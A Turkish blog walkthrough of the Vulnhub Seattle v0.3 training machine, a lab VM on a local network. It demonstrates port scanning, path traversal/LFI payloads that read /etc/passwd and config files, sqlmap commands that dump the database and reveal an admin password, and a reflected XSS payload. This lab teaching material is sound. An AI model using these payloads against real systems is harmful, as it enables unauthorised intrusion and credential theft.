Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Vulnhub Seattle v0.3 Walkthrough

Merhaba arkadaşlar,

Bugün Vulnhub’da yayınlanan Seattle v0.3 makinesini çözmeye çalışacağız. Hemen başlayalım.

Önce indirdiğimiz makineyi VM yazılımınızla ayaklandırın. Makinenin kullanıcı adı root parolası ise PASSWORD

Saldırı yapacağımız hedef makinenin öncelikle IP adresini öğrenmemiz gerekiyor. Bunu network taramaları ile yapabilirsiniz. Makine elimizde olduğu için hızlıca makineye erişip Terminal’e

ifconfig

yazarak hedef sistemin IP adresini öğrenmiş olduk.

secim_092

IP adresini öğrendikten sonra saldırı için bilgi toplama aşamasına geçebiliriz. Hedef sistem aynı ağda bulunduğu için öncelikli işimiz port taramak oluyor.

SYN taraması yaptığımızda aşağıda ki çıktı ile karşılaşıyoruz.

nmap -sS -sV 192.168.1.55

 

secim_093
Göründüğü gibi sistemin 80 portu üzerinde Apache servisi çalışıyor. Bunun dışında bir sonuçla karşılaşmadık. O zaman IP adresine HTTP üzerinden bağlanalım. Tarayıcımıza IP adresini yazıp bağlandığımız da karşımıza Seattle Sounds başlığı bulunan bir site karşılıyor.

secim_094

İlk aşamada port tarama işlemi sonucunda sadece 80 portunun açık olduğunu öğrendiğimiz için bu web sitesi üzerinden gitmemiz gerektiği kararına varabiliriz.

Siteyi hızlıca incelerken Catalogue adlı bir link ilgimi çekti. Bu linke tıklayınca web uygulaması bize bir pdf dosyası indirme bağlantısı sunuyor.

http://192.168.1.55/download.php?item=Brochure.pdf # linkimiz bu

Yukarıda ki link son kullanıcı için masum gözükse bile zarar vermek niyetinde olan kişiler için çokta sağlıklı bir yapıda değil.

Aşağıda ki gibi pdf dosyasının yerine linux dosya sisteminde kullanılan ve bir üst dizine çıkmayı belirten ” ../” karakterler ile linux  sistemlerde kullanıcı kayıtlarını tutan passwd dosyasının yolunu yazdık ve karşımıza bu dosyanın içeriği geldi.

http://192.168.1.55/download.php?item=../../../../../../../../etc/passwd

Not: Burada geri gelme karakterlerini çok fazla kullanmamızın sebebi dizin yapısını tam olarak bilememizdir. İsterseniz yüzlerce kullanabilirsiniz linux tabanlı sistemlerde en üst dizin olan root dizinine çıkacaktır.

Aşağıda passwd dosyasının içeriğini görmektesiniz.

secim_095

Kullandığımız bu açığın literatürde ki ismi Path Traversal/LFI ‘dir. Şimdi bir de web app penetration testlerinde çokça kullanılan nikto adlı araç ile web uygulamamızı bir kontrol edelim.

nikto -h http://192.168.1.55/ -o nicktoresults.txt

Şeklinde kodu terminalimize giriyoruz.Bu kodu açıklamak gerekirse -h argümanı hostname’i -o ise output u temsil eder. Yani -o argümani ile çıktılarımızı nicktoresults.txt diye bir txt dosyasına kaydediyoruz.

secim_096

çıktı sonucu aşağıda ki gibidir.

 - Nikto v2.1.6/2.1.5
+ Target Host: 192.168.1.55
+ Target Port: 80
+ GET Cookie level created without the httponly flag
+ GET Retrieved x-powered-by header: PHP/5.6.14
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ VYUPBYCA Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: TRACE HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ GET Uncommon header 'content-disposition' found, with contents: filename="downloads"
+ GET /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: GET /admin/: Directory indexing found.
+ OSVDB-3092: GET /admin/: This might be interesting...
+ OSVDB-3268: GET /downloads/: Directory indexing found.
+ OSVDB-3092: GET /downloads/: This might be interesting...
+ GET Server leaks inodes via ETags, header found with file /manual/, fields: 0x2304 0x51b0c59e09040 
+ OSVDB-3092: GET /manual/: Web server manual found.
+ GET /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: GET /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: GET /icons/: Directory indexing found.
+ OSVDB-3268: GET /manual/images/: Directory indexing found.
+ OSVDB-3268: GET /images/: Directory indexing found.
+ OSVDB-3268: GET /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: GET /icons/README: Apache default file found.
+ GET Cookie lang created without the httponly flag
+ GET /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: GET /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

Bu sonuçlara göre bir baştan gidelim isterseniz.

/admin/ şeklinde bir path girdiğimizde içeride ki dosyaları görebiliyoruz.

secim_097

İsterseniz LFI açığı sayesinde bu dosyaları indirebilirsiniz. Aşağıda rastgele olarak girilmiş indirilmiş olan iki adet dosya örneği vardır.

http://192.168.1.55/download.php?item=../admin/admincontent.php

 

http://192.168.1.55/download.php?item=../config.php

 

secim_098

Nikto sonuçlarına göre phpinfo yu da

http://192.168.1.55/info.php

‘ dan okuyabiliyoruz.

Nikto sonuçlarını daha sonra değerlendirmek için bir kenara bırakıyoruz ve bir diğer çok kullanılan program olan Burp Suite programımızı başlatıyoruz.

Iceweasel ile ayarlarımızı yaptıktan sonra intercept imiz açık bir şekilde siteye istek gönderiyoruz ve yakalanan veriyi spider’a atıyoruz. Target kısmında ise spider ımızın yaptığı işi görüyorsunuz.

secim_104

secim_105

Burada ki sonuca göre GET ile çekilen bazı sayfaları denemek gerekebilir.

Rastgele bir sayfa seçerek burp suite ile araya girelim.

secim_107

Burada action’a tıklayarak bunu repeater a gönderdim burada bazı denemelerimiz olacak.

Aşağıda ki resimde bir çok deneme yaptım type kısmında false-positive aradım fakat bulamadım bende prod=1 argümanında aramaya karar verdim ve burada db’yi hata vermeye zorladım. Bu gibi durumlarda SQLi olabileceğinden şüphelenebiliriz.
secim_108

SQLi olduğunu düşündüğüm için yine kali üzerinde bulunan sqlmap yazılımını kullanacağım.

secim_109

Kullandığım parametreler =

sqlmap -u "192.168.1.42/details.php?prod=1&type=1" --dbms MySQL --level 3 --risk 3 --dbs

 

sqlmap -u "192.168.1.42/details.php?prod=1&type=1" -p prod --dbms MySQL --level 3 --risk 3 --dbs

Burada ki komutları kısaca açıklarsak;
dbms: Database Management System, Database sistemini seçiyoruz bu MySQL olabilir MSSQL olabilir tamamen siteye bağlıdır. İlk sql injection dediğimizde bize mysql çıktısını vermişti o yüzden Mysql seçtik.
–level: Burada bazı sistemlerde bulunan filtreleme metodları vardır bunları atlatabilmek için (eğer varsa) böyle bir komut giriyoruz. Level ve risk gibi parametreleri belirtmezisek not injectable olarak çıktı gönderebilir.

–dbs: Database i enumerate ( türkçe olarak saymak/dökmek kullanabiliriz sanırım ) etmek için kullanıyoruz.
-p ise verdiğimiz url de hangi parametreye bu atakları yapacağını belirtmemizi sağlıyor.

Diğer komutlar için

sqlmap --help | grep "\--dbs" #Örnek

şeklinde komutlara bakabilirsiniz. Burada gönderdiğimiz komutlar ile get metodu olduğu unutulmasın eğer post metodu kullanılsaydı –data şeklinde bir kullanımımız olacaktı.

Şimdilik burada bir şey bulamadık siteyi biraz daha gezelim.

Not: Eğer bu kısımda bir zafiyet var ise aşağıya yorum olarak belirtirseniz hem ben hemde yazıyı okuyabilecek kişiler faydalanmış olur.

Artık 2-3 tool’un genel anlamıyla nasıl kullanıldığını da anlatmış olduk o yüzden sonuç odaklı gideceğim.

Login sayfasında bir deneme yapalım.

secim_111

Burada yapılan isteği raw olarak kaydettik. Sağ tık save item dediğinizde nereye kaydetmek isteyeceğinizi soracaktır.

Bu kaydettiğimiz dosyayı sqlmap ile otomatize edeceğiz.

sqlmap -r deneme --dbs

Gördüğünüz gibi bize db isimlerini çekti.

secim_112

Bizim istediğimiz bilgiler olasılıkla seattle db’inde olacaktır.

Şimdi

sqlmap -r deneme --dbs -D seattle --tables

-D kısmıyla db ‘ mizi seçtik ve tables ile tabloları istediğimizi belirttik.

secim_113

sqlmap -r deneme --dbs -D seattle --columns

 

Eğer adım adım gitmek isterseniz bu şekilde gidebilirsiniz ama ben direk dump olarak almak istedim o yüzden

sqlmap -r deneme --dbs -D seattle --dump-all

yukarıda ki komutu girdim ve artık admin parolamız elimizde.

secim_114

Çıktımız :

Kullanıcı adı: [email protected]

Parola: Assasin1

Şimdi birde blog kısmına bakalım burada admin bloglarına tıkladığımızda

blog.php?author=admin gibi bir get ibaresi görüyoruz ve aşağıda da admin yazıyor.(SQL inj denemeleri yapsam da bir sonuç alamadım.)

Buradan xss almaya çalışalım.

Burada html kodlarına baktığımızda yazdığımız ibarenin

olduğunu görüyoruz.

<span class="author-bizimibaremiz">bizimibaremiz</span>

Öncelikle bizim tırnak içinden ‘ ” ‘ ile çıkmamız daha sonra da span tagını kapatmamız gerekiyor.

Bunun içinde ben! ( Siz daha farklı yapabilirsiniz )

"\><script>alert(1)</script

şeklinde bir payload ile alertimi aldım.

secim_115

Ekstra bir not :

Dil kısımlarından GBP kısmını silip ../../../etc/passwd yaptığımda ekrana direk olarak passwd ekranı dökülmedi fakat ürünler sayfasına geldiğimizde orada ürünler kısmında passwd içeriğini görebildim.

Bunun neden olduğunu emin olun bilmiyorum en mantıklı açıklamam bu şekilde.

Bunu tekrar sağlamak istediğimde

 products.php?LANG=../../etc/hosts

şeklinde giriş yaptığımda mantığımın doğru olduğunu da sağlamış oldum.

Neyse daha fazla uzatmadan aslında bu yazımızda sql injection , xss , lfi / path traversal görmüş olduk.Zaten LFI ile ilk başlarda mysql user passwordunu de çekmiştik. Burada asıl amacımız çeşitli toolların kullanımını görmekti.

https://www.vulnhub.com/entry/seattle-v03,145/

Başka bir yazıda görüşmek üzere esen kalın.